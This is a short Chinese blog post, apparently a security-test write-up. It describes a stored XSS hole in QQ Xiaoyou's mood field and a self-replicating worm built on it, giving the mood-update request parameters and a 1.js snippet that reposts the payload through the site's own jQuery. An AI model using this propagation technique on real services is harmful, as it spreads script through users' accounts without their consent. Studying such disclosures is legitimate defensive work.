by 0x001
QQ校友心情输入只过滤了 "、' 两个符号,没有严格的过滤XSS,直接输入提交,再点我的主页,就会执行alert(/xss/);

以是写了个可以自我复制的XSS利用代码,流程如下:

当其它人点击某个校友的主页时,显示心情的的地方执行Javascript脚本.并挂上可执行的代码!

查看校友页面代码,发现加载了两个js脚本, Mcommon.js、Mprofile.js,当提交的时候会执行jQuery的Post方法,将数据发送到index.php。经过一下正常的提交后抓包得到如下参数结果

mod=home&act=editmood&mood=add_to_qzone=0

以上参数的意思大家可自行研究!语意很明显!

经过思考,决定外挂一个JS来执行,插入代码如下:

提交,当其它人访问我的校友的时候,就会执行1.js的代码。1.js的代码会在当前用户的状态下,自动提交一个心情的XSS代码到用户的心情中。这样就可以实现自我复制功能了!

1.js code:

J.post('/index.php' , 'mod=home&act=editmood&mood=&add_to_qzone=0', function(){});
alert(/0x007 Team 安全测试/);

这里面没有自已写xmlhttp组件,而是利用了Mcommon.js中的jQuery发送数据!

这样,一个很简单的XSS wrom就形成了!

注明:QQ是我们很常用的聊天工具,如果这样的代码加以利用,是非常可怕的!